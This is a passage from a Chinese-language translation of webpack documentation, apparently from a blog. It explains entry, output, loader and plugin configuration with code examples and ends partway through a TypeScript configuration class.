<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> config = &#123;</span><br><span class="line"> entry: <span class="string">'./path/to/my/entry/file.js'</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = config;</span><br></pre></td></tr></table></figure>
<p>以上针对 <code>entry</code> 属性的单入口语法其实是下面的简写形式:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> config = &#123;</span><br><span class="line"> entry: &#123;</span><br><span class="line"> main: <span class="string">'./path/to/my/entry/file.js'</span></span><br><span class="line"> &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<blockquote>
<p>当你传递一个数组给 <code>entry</code> 属性会发生什么?传递一个文件路径的数组给 <code>entry</code> 属性会建立一个所谓的“多主入口(multi-main entry)”。当你想要将多个独立的文件以及它们的依赖关系图一起注入到某个“分块(chunk))”中的时候,这会非常有用。</p>
</blockquote>
<p>当你正在为仅拥有一个入口的应用或者工具(例如:一个库)寻找快速构建webpack应用的方法时,单入口语法将是很不错的选择。然而,当你需要为配置文件进行扩展时,这种语法的灵活性不足。</p>
<h3 id="对象语法"><a href="#对象语法" class="headerlink" title="对象语法"></a>对象语法</h3><p>用法:<code>entry: {[entryChunkName: String]: String|Array&lt;String&gt;}</code></p>
<p>webpack.config.js</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> config = &#123;</span><br><span class="line"> entry: &#123;</span><br><span class="line"> app: <span class="string">'./src/app.js'</span>,</span><br><span class="line"> vendors: <span class="string">'./src/vendors.js'</span></span><br><span class="line"> &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>这种语法较为冗长。然而,在你的应用中使用这种方式定义单个/多个入口最具有可伸缩性。</p>
<blockquote>
<p>“可伸缩的webpack配置(scalable webpack configurations)”指的是可以被复用以及能够由其它部分配置组合生成的配置。这是一个很受欢迎的技术,用来将环境,构建目标和运行环境分离。之后在用特定的工具将它们进行合并,例如 <a href="https://github.com/survivejs/webpack-merge" target="_blank" rel="external">webpack-merge</a>。</p>
</blockquote>
<h3 id="场景"><a href="#场景" class="headerlink" title="场景"></a>场景</h3><p>下面是入口配置的一个列表以及在现实中的用例。</p>
<h4 id="分离应用程序和第三方库入口"><a href="#分离应用程序和第三方库入口" class="headerlink" title="分离应用程序和第三方库入口"></a>分离应用程序和第三方库入口</h4><p>webpack.config.js</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> config = &#123;</span><br><span class="line"> entry: &#123;</span><br><span class="line"> app: <span class="string">'./src/app.js'</span>,</span><br><span class="line"> vendors: <span class="string">'./src/vendors.js'</span></span><br><span class="line"> &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>它做了什么?从表面上来看,它告诉webpack分别从 <code>app.js</code> 和 <code>vendors.js</code> 这两个文件开始建立依赖关系图。这两张图完全是分开的,彼此独立(在每个bundle里都有一个webpack引导程序)。在只拥有一个入口的单页应用中通常都是这种情况(除了第三方库之外)。</p>
<p>为什么?这种配置方式允许你利用 <code>CommonsChunkPlugin</code> 以及从你的应用程序bundle中提取第三方库的参考文献到第三方库的bundle中,并以 <code>__webpack_require__()</code> 调用代之。如果在你的应用程序bundle中没有第三方库的代码,你可以在webpack中实现一个公共模式,即所谓的 <a href="https://webpack.js.org/guides/caching/" target="_blank" rel="external">长期的第三方库缓存(long-term vendor-caching)</a>。</p>
<h4 id="多页应用"><a href="#多页应用" class="headerlink" title="多页应用"></a>多页应用</h4><p>webpack.config.js</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> config = &#123;</span><br><span class="line"> entry: &#123;</span><br><span class="line"> pageOne: <span class="string">'./src/pageOne/index.js'</span>,</span><br><span class="line"> pageTwo: <span class="string">'./src/pageTwo/index.js'</span>,</span><br><span class="line"> pageThree: <span class="string">'./src/pageThree/index.js'</span></span><br><span class="line"> &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>它做了什么?我们正在告诉webpack我们想要三个独立的依赖关系图(就像上面例子的配置)。</p>
<p>为什么?在多页应用中,服务器会取得新的HTML文档给你。页面重新加载新的文档,资源文件也会被重新下载。然而,这给了我们一个特别的机会去做很多事情:</p>
<p>使用 <code>CommonsChunkPlugin</code> 在页面之间创建它们所共享的应用程序代码的bundle文件。对于在不同的入口之间复用大量代码和模块的多页应用程序,当入口数量增加的时候,会从此技术上获取很大的益处。</p>
<blockquote>
<p>首要规则:一个HTML文件只使用一个入口。</p>
</blockquote>
<h2 id="输出-1"><a href="#输出-1" class="headerlink" title="输出"></a><span id="output"></span>输出</h2><p>选项影响了编译的输出。<code>output</code> 选项告诉webpack如何将编译后的文件写入磁盘。注意,虽然在配置中可能会有多个 <code>entry</code> 节点,但是 <code>output</code> 配置是唯一指定的。</p>
<h3 id="用法"><a href="#用法" class="headerlink" title="用法"></a>用法</h3><p>你可以简单地通过在你的webpack配置中设置 <code>output</code> 属性的值来使用该属性。</p>
<p><strong>webpack.config.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> config = &#123;</span><br><span class="line"> output: <span class="string">'bundle.js'</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = config;</span><br></pre></td></tr></table></figure>
<h3 id="选项"><a href="#选项" class="headerlink" title="选项"></a>选项</h3><p>下面是你可以传递给 <code>output</code> 属性的值的列表。</p>
<h4 id="output-chunkFilename"><a href="#output-chunkFilename" class="headerlink" title="output.chunkFilename"></a><code>output.chunkFilename</code></h4><p>在 <code>output.path</code>指定的文件夹中以一个相对路径形式给出的的非入口块的文件名。</p>
<p><code>[id]</code> 被分块的id取代</p>
<p><code>[name]</code> 被分块的名字取代(或者当分块没有名字时被id取代)</p>
<p><code>[hash]</code> 被编译后的hash值取代</p>
<p><code>[chunkhash]</code> 被分块的hash取代</p>
<h4 id="output-crossOriginLoading"><a href="#output-crossOriginLoading" class="headerlink" title="output.crossOriginLoading"></a><code>output.crossOriginLoading</code></h4><p>这个选项运行分块的跨域加载。<br>可能的值有:</p>
<p><code>false</code> - 禁止跨域加载。</p>
<p><code>&quot;anonymous&quot;</code> - 跨域加载是激活的。当使用 <code>anonymous</code> 时发送请求无需凭证。</p>
<p><code>&quot;use-credentials&quot;</code> - 跨域加载是激活的并且发送请求时需要凭证。</p>
<p>期望了解关于跨域的更多信息请访问 <a href="https://developer.mozilla.org/en/docs/Web/HTML/Element/script#attr-crossorigin" target="_blank" rel="external">MDN</a>。</p>
<blockquote>
<p>默认值: <code>false</code></p>
</blockquote>
<h4 id="output-devtoolLineToLine"><a href="#output-devtoolLineToLine" class="headerlink" title="output.devtoolLineToLine"></a><code>output.devtoolLineToLine</code></h4><p>为每个模块建立行到行的映射模型。行到行的映射模型是指,使用一个简单的源代码映射关系将生成的每一行代码和相同行的源代码对应起来。这是一种性能优化的方式。只有在你需要进行性能优化以及确定输入的行和生成的行是匹配的时候,你才应该启用它。</p>
<p>设置为 <code>true</code> 可以激活所有模块的行到行映射模型建立(不推荐)。</p>
<p>就像 <code>module.loaders</code> 一样,我们可以在一个对象 <code>{test, include, exclude}</code> 根据指定文件激活它。</p>
<blockquote>
<p>默认值:<code>false</code></p>
</blockquote>
<h4 id="output-filename"><a href="#output-filename" class="headerlink" title="output.filename"></a><code>output.filename</code></h4><p>指定输出到磁盘上的每个文件的名字。这里你切记不要设置绝对路径!<code>output.path</code> 选项决定了文件被写入磁盘的位置。<code>filename</code> 仅仅用来命名单个的文件。</p>
<p><strong>单入口</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"> entry: <span class="string">'./src/app.js'</span>,</span><br><span class="line"> output: &#123;</span><br><span class="line"> fliename: <span class="string">'bundle.js'</span>,</span><br><span class="line"> path: __dirname + <span class="string">'/build'</span></span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 写入磁盘:./build/bundle.js</span></span><br></pre></td></tr></table></figure>
<p><strong>多入口</strong><br>如果你的配置建立了多个分块(当拥有多个入口或者使用了类似 <code>CommonsChunkPlugin</code> 插件的时候),你应该是用占位符去确保每个文件拥有自己独一无二的名字。</p>
<p><code>[name</code> 被分块名称替换</p>
<p><code>hash</code> 被编译阶段的hash替换</p>
<p><code>chunkhash</code> 被分块的hash替换</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"> entry: &#123;</span><br><span class="line"> app: <span class="string">'./src/app.js'</span>,</span><br><span class="line"> search: <span class="string">'./src/search.js'</span></span><br><span class="line"> &#125;,</span><br><span class="line"> output: &#123;</span><br><span class="line"> filename: <span class="string">'[name].js'</span>,</span><br><span class="line"> path: __dirname + <span class="string">'/build'</span></span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 写入磁盘:./build/app.js, ./build/search.js</span></span><br></pre></td></tr></table></figure>
<h4 id="output-hotUpdateChunkFilename"><a href="#output-hotUpdateChunkFilename" class="headerlink" title="output.hotUpdateChunkFilename"></a><code>output.hotUpdateChunkFilename</code></h4><p>热更新分块(the Hot Update Chunks)的文件名。它们在 <code>output.path</code> 指定的目录下。</p>
<p><code>[id]</code> 被分块id替换</p>
<p><code>[hash]</code> 被编译的hash替换(最后的hash值存储在记录中)</p>
<blockquote>
<p>默认值:<code>&quot;[id].[hash].hot-update.js&quot;</code></p>
</blockquote>
<h4 id="output-hotUpdateFunction"><a href="#output-hotUpdateFunction" class="headerlink" title="output.hotUpdateFunction"></a><code>output.hotUpdateFunction</code></h4><p>在webpack中使用的用来异步加载热更新分块的JSONP函数。</p>
<blockquote>
<p>默认值:<code>&quot;webpackHotUpdate&quot;</code></p>
</blockquote>
<h4 id="output-hotUpdateMainFilename"><a href="#output-hotUpdateMainFilename" class="headerlink" title="output.hotUpdateMainFilename"></a><code>output.hotUpdateMainFilename</code></h4><p>热更新主文件的文件名。在 <code>output.path</code> 指定的目录下。</p>
<p><code>[hash]</code> 被编译的hash值替换。(最后的hash值存储在记录中)</p>
<blockquote>
<p>默认值:<code>&quot;[hash].hot-update.json&quot;</code></p>
</blockquote>
<h4 id="output-jsonpFunction"><a href="#output-jsonpFunction" class="headerlink" title="output.jsonpFunction"></a><code>output.jsonpFunction</code></h4><p>在webpack中用来异步加载分块的JSONP函数。</p>
<p>这是一个较短的函数,也许会稍微减少文件大小。当单页拥有多个webpack实例的视乎使用不同的标识符。</p>
<blockquote>
<p>默认值:<code>&quot;webpackJsonp&quot;</code></p>
</blockquote>
<h4 id="output-library"><a href="#output-library" class="headerlink" title="output.library"></a><code>output.library</code></h4><p>如果设置了这个,会将包以类库的形式导出。<code>output.library</code> 将会是它的名字。</p>
<p>只有在你写了一个类库并且想要将它作为单个文件发布的时候使用。</p>
<h4 id="output-libraryTarget"><a href="#output-libraryTarget" class="headerlink" title="output.libraryTarget"></a><code>output.libraryTarget</code></h4><p>决定了导出库的格式:</p>
<p><code>&quot;var&quot;</code> - 通过设置一个变量导出:<code>var Library = xxx</code>(默认)</p>
<p><code>&quot;this&quot;</code> - 通过设置 <code>this</code> 属性导出:<code>this[&quot;Library&quot;] = xxx</code></p>
<p><code>&quot;commonjs&quot;</code> - 通过设置 <code>exports</code> 的属性进行导出:<code>exports[&quot;Library&quot;] = xxx</code></p>
<p><code>&quot;commonjs2&quot;</code> - 通过设置 <code>module.exports</code> 导出:<code>module.exports = xxx</code></p>
<p><code>&quot;amd&quot;</code> - 导出为AMD格式(可选的名称 - 通过库选项设置名称)</p>
<p><code>&quot;umd&quot;</code> - 导出为AMD,CommonJS2,或者根属性</p>
<blockquote>
<p>默认:<code>&quot;var&quot;</code></p>
</blockquote>
<p>如果 <code>output.library</code> 没有被设置,但是 <code>output.libraryTarget</code> 设置了非 <code>var</code> 以外的值,则导出对象的每一个属性会被复制(除了 <code>amd</code>, <code>commonjs2</code> 和 <code>umd</code>)。</p>
<h4 id="output-path"><a href="#output-path" class="headerlink" title="output.path"></a><code>output.path</code></h4><p>绝对路径形式的输出文件夹(必须)。</p>
<p><code>[hash]</code> 被编译的hash替换。</p>
<p><strong>config.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">output: &#123;</span><br><span class="line"> path: <span class="string">"/home/proj/public/assets"</span>,</span><br><span class="line"> publicPath: <span class="string">"/assets/"</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p><strong>index.html</strong></p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">link</span> <span class="attr">href</span>=<span class="string">"/assets/spinner.gif"</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>下面是一个使用了CDN以及资源hash的更为复杂的例子。</p>
<p><strong>config.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">output: &#123;</span><br><span class="line"> path: <span class="string">"/home/proj/cdn/assets/[hash]"</span>,</span><br><span class="line"> publicPath: <span class="string">"http://cdn.example.com/assets/[hash]/"</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p><strong>注意:</strong>如果输出文件的 <code>publicPath</code> 在编译阶段并不明确的话,该字段可以留空以及在入口文件运行时动态设置。如果编译的时候你并不知道 <code>publicPath</code> 的值,你可以忽略它并在你的入口点设置 <code>__webpack_public_path</code>。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"> __webpack_public_path__ = myRuntimePublicPath</span><br><span class="line"></span><br><span class="line"><span class="comment">// 余下的应用入口</span></span><br></pre></td></tr></table></figure>
<h4 id="output-sourceMapFilename"><a href="#output-sourceMapFilename" class="headerlink" title="output.sourceMapFilename"></a><code>output.sourceMapFilename</code></h4><p>为Javascript文件生成的源文件映射关系文件的名字。它们在 <code>output.path</code><br>指定的文件夹下。</p>
<p><code>[file]</code> 被Javascript文件的名字替换。</p>
<p><code>[id]</code> 被分块的id替换</p>
<p><code>[hash]</code> 被编译的hash替换。</p>
<blockquote>
<p>默认值:<code>&quot;[file].map&quot;</code></p>
</blockquote>
<h2 id="加载器-1"><a href="#加载器-1" class="headerlink" title="加载器"></a><span id="loaders"></span>加载器</h2><p>加载器是用来对你的应用程序中的资源文件进行转换的工具。它们是一些接收原始资源文件源码为参数并返回新的源码的函数(运行在Nodejs中)。</p>
<p>举例来说,你可以使用加载器告诉webpack去加载一个CSS文件或是将TypeScript代码转换成Javascript代码。</p>
<h3 id="加载器特性"><a href="#加载器特性" class="headerlink" title="加载器特性"></a>加载器特性</h3><ul>
<li>加载器可以被链式调用。它们以管道的形式应用于资源文件。加载器链按照时间顺序执行。第一个加载器将返回值作为下一个加载器的输入,在加载器链的结尾,webpack期望它返回Javascript代码。</li>
<li>加载器可以是同步也可以是异步的。</li>
<li>加载器在Nodejs中运行,并且可以执行所有可能的操作。</li>
<li>加载器接受查询参数。可以通过这个传递配置参数给加载器。</li>
<li>加载器也可以通过 <code>options</code> 对象进行配置。</li>
<li>除了常规的package.json中的 <code>main</code> 字段将加载器导出之外,还可以通过 <code>loader</code>字段进行导出。</li>
<li>插件可以赋予加载器更多特性。</li>
<li>加载器可以产生额外的其他任意文件。</li>
</ul>
<p>通过预处理函数(加载器),它们使得Javascript生态系统拥有更加强大的能力。现在用户处理强密度的逻辑时拥有更多的灵活性,例如压缩,打包,语言翻译以及<a href="https://webpack.js.org/loaders/" target="_blank" rel="external">更多</a>。</p>
<h3 id="解析加载器"><a href="#解析加载器" class="headerlink" title="解析加载器"></a>解析加载器</h3><p>加载器被<a href="https://webpack.js.org/concepts/module-resolution/" target="_blank" rel="external">近似解析成模块</a>。一个加载器模块期望导出一个函数,并以Nodejs 兼容的Javascript书写。在一般情况下你通过npm管理加载器,但是你也可以添加加载器文件到你的应用中。</p>
<h3 id="参考的加载器"><a href="#参考的加载器" class="headerlink" title="参考的加载器"></a>参考的加载器</h3><p>按照惯例,加载器通常以 <code>XXX-loader</code> 命名,其中 <code>XXX</code> 代表上下文名称。举个例子:<code>json-loader</code>。</p>
<p>加载器名称约定和优先搜索顺序由webpack配置API中的<code>resolveLoader.moduleTemplates</code>定义。</p>
<h2 id="插件-1"><a href="#插件-1" class="headerlink" title="插件"></a><span id="plugins"></span>插件</h2><p>插件是webpack的<a href="https://github.com/webpack/tapable" target="_blank" rel="external">支柱</a>。webpack本身的构建使用的都是和你的应用中webpack配置相同的一套插件系统。</p>
<p>它们还可以做任何<a href="#loaders">加载器</a>不能完成的任务。</p>
<h3 id="剖析"><a href="#剖析" class="headerlink" title="剖析"></a>剖析</h3><p>一个webpack插件是一个拥有 <code>apply</code> 属性的Javascript对象。这个 <code>apply</code> 属性会被webpack编译器调用,允许访问编译的整个生命周期。</p>
<p><strong>ConsoleLogOnBuildWebpackPlugin.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">ConsoleLogOnBuildWebpackPlugin</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">ConsoleLogOnBuildWebpackPlugin.prototype.apply = <span class="function"><span class="keyword">function</span>(<span class="params">compiler</span>) </span>&#123;</span><br><span class="line"> compiler.plugin(<span class="string">'run'</span>, <span class="function"><span class="keyword">function</span>(<span class="params">compiler, callback</span>) </span>&#123;</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">"The webpack build process is starting!!!"</span>);</span><br><span class="line"> callback();</span><br><span class="line"> &#125;);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<blockquote>
<p>作为一个机智的Javascript开发者你可能记得 <code>Function.prototype.apply</code> 方法。因为这个方法的存在,你可以将任何函数作为插件进行传递(<code>this</code> 将指向 <code>compiler</code>)。你也可以在你的配置中使用这种风格去嵌入自定义的插件。</p>
</blockquote>
<h3 id="用法-1"><a href="#用法-1" class="headerlink" title="用法"></a>用法</h3><p>因为插件可以接收 arguments/options,你必须在你的webpack配置中传递一个 <code>new</code> 实例给 <code>plugins</code> 属性。</p>
<p>这决定于你怎样去使用webpack,我们拥有很多方式去使用插件。</p>
<h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><p><strong>webpack.config.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> HtmlWebpackPlugin = <span class="built_in">require</span>(<span class="string">'html-webpack-plugin'</span>); <span class="comment">//installed via npm</span></span><br><span class="line"><span class="keyword">const</span> webpack = <span class="built_in">require</span>(<span class="string">'webpack'</span>); <span class="comment">//to access built-in plugins</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> config = &#123;</span><br><span class="line"> entry: <span class="string">'./path/to/my/entry/file.js'</span>,</span><br><span class="line"> output: &#123;</span><br><span class="line"> filename: <span class="string">'my-first-webpack.bundle.js'</span>,</span><br><span class="line"> path: <span class="string">'./dist'</span></span><br><span class="line"> &#125;,</span><br><span class="line"> <span class="built_in">module</span>: &#123;</span><br><span class="line"> loaders: [&#123;</span><br><span class="line"> test: <span class="regexp">/\.(js|jsx)$/</span>,</span><br><span class="line"> loader: <span class="string">'babel-loader'</span></span><br><span class="line"> &#125;]</span><br><span class="line"> &#125;,</span><br><span class="line"> plugins: [</span><br><span class="line"> <span class="keyword">new</span> webpack.optimize.UglifyJsPlugin(),</span><br><span class="line"> <span class="keyword">new</span> HtmlWebpackPlugin(&#123;template: <span class="string">'./src/index.html'</span>&#125;)</span><br><span class="line"> ]</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = config;</span><br></pre></td></tr></table></figure>
<h3 id="Node-API"><a href="#Node-API" class="headerlink" title="Node API"></a>Node API</h3><blockquote>
<p>即便是使用Node API的时候,用户也需要通过配置中的 <code>plugins</code> 属性传递插件。使用 <code>compiler.apply</code> 并不推荐。</p>
</blockquote>
<p><strong>some-node-script.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> configuration = <span class="built_in">require</span>(<span class="string">'./webpack.config.js'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> compiler = webpack(configuration);</span><br><span class="line">compiler.apply(<span class="keyword">new</span> webpack.ProgressPlugin());</span><br><span class="line"></span><br><span class="line">compiler.run(<span class="function"><span class="keyword">function</span>(<span class="params">err, stats</span>) </span>&#123;</span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>
<blockquote>
<p>你知道吗:上面的例子和 <a href="https://github.com/webpack/webpack/blob/master/bin/webpack.js#L290-L292" target="_blank" rel="external">webpack自身运行时</a> 极其相似!在 <a href="https://github.com/webpack/webpack" target="_blank" rel="external">webpack源码</a> 中隐藏了大量优秀的例子,你完全可以将它们应用在你自己的配置和脚本中!</p>
</blockquote>
<h2 id="配置-1"><a href="#配置-1" class="headerlink" title="配置"></a><span id="configurations"></span>配置</h2><p>你也许已经注意到几乎没有完全相同的webpack配置。这是因为webpack的配置文件是导出一个对象的JavaScript文件。 webpack将会基于这个对象定义的属性进行一系列处理。</p>
<p>因为它是一个标准的符合nodejs中CommonJs规范的模块,所以你可以做下面的事情:</p>
<ul>
<li>通过 <code>require(...)</code> 导入其它文件</li>
<li>通过 <code>require(...)</code> 使用npm库中的工具集</li>
<li>使用Javascrpt控制流表达式,比如 <code>?:</code> 操作符</li>
<li>对经常使用的值用常量或变量存储</li>
<li>编写和执行函数去生成部分配置</li>
</ul>
<p>因地制宜。</p>
<p><strong>你不应该使用下面的这些</strong>。其实从技术角度而言你可以使用它们,但是强烈不推荐使用。</p>
<ul>
<li>当使用webpack命令行的时候访问命令行参数(而不是写你自己的命令行,或者使用 <code>--env</code>)</li>
<li>导出不确定的值(多次调用webpack应该输出相同的文件)</li>
<li>配置代码过于冗长(而不是将配置划分成多个文件)</li>
</ul>
<p>下面的例子描述了webpack配置对象的丰富的表现力和可配置性,因为它就是代码:</p>
<h3 id="最简单的配置"><a href="#最简单的配置" class="headerlink" title="最简单的配置"></a>最简单的配置</h3><p><strong>webpack.config.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="built_in">module</span>.exports = &#123;</span><br><span class="line"> entry: <span class="string">'./foo.js'</span>,</span><br><span class="line"> output: &#123;</span><br><span class="line"> path: path.resolve(__dirname, <span class="string">'dist'</span>),</span><br><span class="line"> filename: <span class="string">'foo.bundle.js'</span></span><br><span class="line"> &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<h3 id="多个目标"><a href="#多个目标" class="headerlink" title="多个目标"></a>多个目标</h3><p><strong>webpack.config.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> path = <span class="built_in">require</span>(<span class="string">'path'</span>);</span><br><span class="line"><span class="keyword">var</span> webpack = <span class="built_in">require</span>(<span class="string">'webpack'</span>);</span><br><span class="line"><span class="keyword">var</span> webpackMerge = <span class="built_in">require</span>(<span class="string">'webpack-merge'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> baseConfig = &#123;</span><br><span class="line"> target: <span class="string">'async-node'</span>,</span><br><span class="line"> entry: &#123;</span><br><span class="line"> entry: <span class="string">'./entry.js'</span></span><br><span class="line"> &#125;,</span><br><span class="line"> output: &#123;</span><br><span class="line"> path: path.resolve(__dirname, <span class="string">'dist'</span>),</span><br><span class="line"> filename: <span class="string">'[name].js'</span></span><br><span class="line"> &#125;,</span><br><span class="line"> plugins: [</span><br><span class="line"> <span class="keyword">new</span> webpack.optimize.CommonsChunkPlugin(&#123;</span><br><span class="line"> name: <span class="string">'inline'</span>,</span><br><span class="line"> filename: <span class="string">'inline.js'</span>,</span><br><span class="line"> minChunks: <span class="literal">Infinity</span></span><br><span class="line"> &#125;),</span><br><span class="line"> <span class="keyword">new</span> webpack.optimize.AggressiveSplittingPlugin(&#123;</span><br><span class="line"> minSize: <span class="number">5000</span>,</span><br><span class="line"> maxSize: <span class="number">10000</span></span><br><span class="line"> &#125;)</span><br><span class="line"> ]</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> targets = [<span class="string">'web'</span>, <span class="string">'webworker'</span>, <span class="string">'node'</span>, <span class="string">'async-node'</span>, <span class="string">'node-webkit'</span>, <span class="string">'electron-main'</span>].map((target) =&gt; &#123;</span><br><span class="line"> <span class="keyword">let</span> base = webpackMerge(baseConfig, &#123;</span><br><span class="line"> target: target,</span><br><span class="line"> output: &#123;</span><br><span class="line"> path: path.resolve(__dirname, <span class="string">'dist/'</span> + target),</span><br><span class="line"> filename: <span class="string">'[name].'</span> + target + <span class="string">'.js'</span></span><br><span class="line"> &#125;</span><br><span class="line"> &#125;);</span><br><span class="line"> <span class="keyword">return</span> base;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = targets;</span><br></pre></td></tr></table></figure>
<blockquote>
<p> 从这篇文档中你所应该明白的是,有很多不同的方式去格式化和风格化你的webpack配置文件。关键是要保持一致,好便于你和你的团队去理解和维护。</p>
</blockquote>
<h3 id="使用-TypeScript"><a href="#使用-TypeScript" class="headerlink" title="使用 TypeScript"></a>使用 TypeScript</h3><p>在下面的例子中我们使用TypeScript创建一个angular-cli使用的类去<a href="https://github.com/angular/angular-cli/" target="_blank" rel="external">生成配置</a>。</p>
<p><strong>webpack.config.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> * <span class="keyword">as</span> webpackMerge <span class="keyword">from</span> <span class="string">'webpack-merge'</span>;</span><br><span class="line"><span class="keyword">import</span> &#123; CliConfig &#125; <span class="keyword">from</span> <span class="string">'./config'</span>;</span><br><span class="line"><span class="keyword">import</span> &#123;</span><br><span class="line"> getWebpackCommonConfig,</span><br><span class="line"> getWebpackDevConfigPartial,</span><br><span class="line"> getWebpackProdConfigPartial,</span><br><span class="line"> getWebpackMobileConfigPartial,</span><br><span class="line"> getWebpackMobileProdConfigPartial</span><br><span class="line">&#125; <span class="keyword">from</span> <span class="string">'./'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="class"><span class="keyword">class</span> <span class="title">NgCliWebpackConfig</span> </span>&#123;</span><br><span class="line"> <span class="comment">// <span class="doctag">TODO:</span> When webpack2 types are finished lets replace all these any types</span></span><br><span class="line"> <span class="comment">// so this is more maintainable in the future for devs</span></span><br><span class="line"> public config: any;</span><br><span class="line"> private webpackDevConfigPartial: any;</span><br><span class="line"> private webpackProdConfigPartial: any;</span><br><span class="line"> private webpackBaseConfig: any;</span><br><span class="line"> private webpackMobileConfigPartial: any;</span><br><span class="line"> private webpackMobileProdConfigPartial: any;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">constructor</span>(public ngCliProject: any, public target: string, public environment: string, outputDir?: string) &#123;</span><br><span class="line"> <span class="keyword">const</span> config: CliConfig = CliConfig.fromProject();</span><br><span class="line"> <span class="keyword">const</span> appConfig = config.config.apps[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"> appConfig.outDir = outputDir || appConfig.outDir;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.webpackBaseConfig = getWebpackCommonConfig(<span class="keyword">this</span>.ngCliProject.root, environment, appConfig);</span><br><span class="line"> <span class="keyword">this</span>.webpackDevConfigPartial = getWebpackDevConfigPartial(<span class="keyword">this</span>.ngCliProject.root, appConfig);</span><br><span class="line"> <span class="keyword">this</span>.webpackProdConfigPartial = getWebpackProdConfigPartial(<span class="keyword">this</span>.ngCliProject.root, appConfig);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (appConfig.mobile)&#123;</span><br><span class="line"> <span class="keyword">this</span>.webpackMobileConfigPartial = getWebpackMobileConfigPartial(<span class="keyword">this</span>.ngCliProject.root, appConfig);</span><br><span class="line"> <span class="keyword">this</span>.webpackMobileProdConfigPartial = getWebpackMobileProdConfigPartial(<span class="keyword">this</span>.ngCliProject.root, appConfig);</span><br><span class="line"> <span class="keyword">this</span>.webpackBaseConfig = webpackMerge(<span class="keyword">this</span>.webpackBaseConfig, <span class="keyword">this</span>.webpackMobileConfigPartial);</span><br><span class="line"> <span class="keyword">this</span>.webpackProdConfigPartial = webpackMerge(<span class="keyword">this</span>.webpackProdConfigPartial, <span class="keyword">this</span>.webpackMobileProdConfigPartial);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">this</span>.generateConfig();</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> generateConfig(): <span class="keyword">void</span> &#123;</span><br><span class="line"> <span class="keyword">switch</span> (<span class="keyword">this</span>.target) &#123;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"development"</span>:</span><br><span class="line"> <span class="keyword">this</span>.config = webpackMerge(<span class="keyword">this</span>.webpackBaseConfig, <span class="keyword">this</span>.webpackDevConfigPartial);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"production"</span>:</span><br><span class="line"> <span class="keyword">this</span>.config = webpackMerge(<span class="keyword">this</span>.webpackBaseConfig, <span class="keyword">this</span>.webpackProdConfigPartial);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span 